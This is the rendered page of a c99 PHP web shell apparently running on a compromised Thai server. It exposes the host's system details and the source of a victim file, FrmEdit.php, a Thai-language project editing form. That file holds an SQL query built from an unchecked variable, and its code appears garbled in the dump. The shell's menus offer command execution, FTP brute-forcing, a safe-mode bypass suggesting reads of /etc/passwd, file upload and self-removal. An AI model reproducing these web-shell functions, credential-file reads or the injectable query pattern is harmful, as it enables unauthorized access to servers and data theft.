!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Develop_person_depart/Education_Service/   drwxr-xr-x
Free 52.39 GB of 127.8 GB (40.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEdit.php (9.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
   
include("../../Include/FunctionDB.php");
   include(
"../../include/Function.php");
 
ConnectDB();
  
$sql "Select * From edu_service_tb Where Project_code='$Project_code'";
  
$result mysql_query($sql);
  
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Add Project and Course</title>
<link rel="stylesheet" href="../../css/style1.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#FFFFFF">
<table width="85%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E6E6E6" style="border:1px solid gray">
  <tr bgcolor="#E0F9DF"> 
    <td colspan="3"> <div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">แก้ไข</font><font color="#003366" size="4" face="Tahoma"> 
        - โครงการ/ กิจกรรมบริการวิชาการ</font></strong></div></td>
  </tr>
  <form action="EditProject.php" method="post">
    <tr bgcolor="#EEEEEE"> 
      <td width="38%"> <div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อโครงการ</font></div></td>
      <td width="2%" bordercolor="#006699">&nbsp;</td>
      <td width="60%" bordercolor="#006699"> <input name="Project_name" type="text" class="input1" value="<? echo $rs[Project_name]?>"  size="60"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">ระยะเวลา</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <div align="left"> <font color="#000000" size="2" face="Tahoma">วันที่ 
          <select name="mDate" id="select" class="select" >
            <?php
           $DateBirth 
$rs[Period];
           
$yearthai explode("-",$DateBirth);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
          </select>
          เดือน 
          <select name="mMonth" id="select4" class="select" >
            <?php
          $DateBirth 
$rs[Period];
           
$yearthai explode("-",$DateBirth);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
          </select>
          ปี พ.ศ. 
          <input name="mYear" type="text" class="input1" id="mYear3" value="<? echo $mYear ?>" size="10">
          </font></div></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">วันที่ดำเนินการ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <font color="#000000" size="2" face="Tahoma">วันที่ 
        <select name="mDate2" id="select3" class="select" >
          <?php
           $Date_start 
$rs[Date_start];
           
$yearthai explode("-",$Date_start);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear2 =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
        </select>
        เดือน 
        <select name="mMonth2" id="select5" class="select" >
          <?php
          $Date_start 
$rs[Date_start];
           
$yearthai explode("-",$Date_start);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
        </select>
        ปี พ.ศ. 
        <input name="mYear2" type="text" class="input1" id="mYear2" value="<? echo $mYear2 ?>" size="10">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ปีการศึกษา</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699" bgcolor="#EEEEEE"><input name="Term" type="text" id="Term" value="<? echo $rs[Term]?>" size="10" class="input1"> 
        <font size="2" face="Tahoma">ปี พ.ศ งบประมาณ 
        <input name="Year_budget" type="text" id="Year_budget" value="<? echo $rs[Year_budget]?>" size="10" class="input1">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">งบประมาณประมาณการ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><input name="Budget" type="text" id="Budget" value="<? echo $rs[Budget]?>" class="input1"> 
        <font color="#003366" size="2" face="Tahoma">บาท</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">เงินที่ใช้จริง</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><input name="Budget_use" type="text" id="Budget_use" value="<? echo $rs[Budget_use]?>" class="input1"> 
        <font color="#003366" size="2" face="Tahoma"> บาท</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนผู้เข้าร่วมการ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><input name="Target_group" type="text" id="Target_group" value="<? echo $rs[Target_group]?>" class="input1"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">วัตถุประสงค์</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><textarea name="Objective" cols="50" rows="5" id="Objective" class="input1"><? echo $rs[Objective]?></textarea></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">รับเงินสนับสนุนจากแหล่งอื่น</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"><input name="Fund_support " type="text" id="Fund_support " value="<? echo $rs[Fund_support]?>" size="60" class="input1"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">ค่าลงทะเบียน</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <input name="Fee" type="text" class="input1" id="Fee" value="<? echo $rs[Fee]?>"> 
        <font color="#003366" size="2" face="Tahoma">บาท</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">ตอบสนอง</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <input name="Response" type="text" class="input1" id="Response" value="<? echo $rs[Response]?>" size="60"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนชั่วโมงทั้งหมดของโครงการ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <font color="#003366" size="2" face="Tahoma"> 
        <input name="Total_time_project" type="text" class="input1" id="Total_time_project" value="<? echo $rs[Total_time_project]?>">
        ชั่วโมง</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนชั่วโมงที่บุคลากรเป็นวิทยากร</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <font color="#003366" size="2" face="Tahoma"> 
        <input name="Total_time_insi" type="text" class="input1" id="Total_time_insi" value="<? echo $rs[Total_time_insi]?>">
        ชั่วโมง</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td> <div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนชั่วโมงที่เชิญวิทยากรภายนอก</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699"> <font color="#003366" size="2" face="Tahoma"> 
        <input name="Total_time_inso" type="text" class="input1" id="Total_time_inso" value="<? echo $rs[Total_time_inso]?>">
        ชั่วโมง</font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ผลการดำเนินงานตามแผน</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td bordercolor="#006699" bgcolor="#EEEEEE">
      <input type="radio" name="Result_oper" <?php if (!(strcmp("$rs[Result_oper]","1"))) {echo "checked";} ?> value="1"> 
        <font size="2" face="Tahoma"> เสร็จตามแผน 
        <input type="radio" name="Result_oper" <?php if (!(strcmp("$rs[Result_oper]","2"))) {echo "checked";} ?> value="2">
        ไม่เสร็จตามแผน 
        <input type="radio" name="Result_oper" <?php if (!(strcmp("$rs[Result_oper]","3"))) {echo "checked";} ?> value="3">
        ไม่ได้ทำ </font></td>
    </tr>
    <tr bgcolor="#E0F9DF"> 
      <td colspan="3"> <div align="center"> 
          <input type="hidden" name="Project_code" value="<? echo $rs[Project_code]?>">
          <input type="submit" name="Submit" value="    บันทึก    ">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>
<?php
CloseDB
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0077 ]--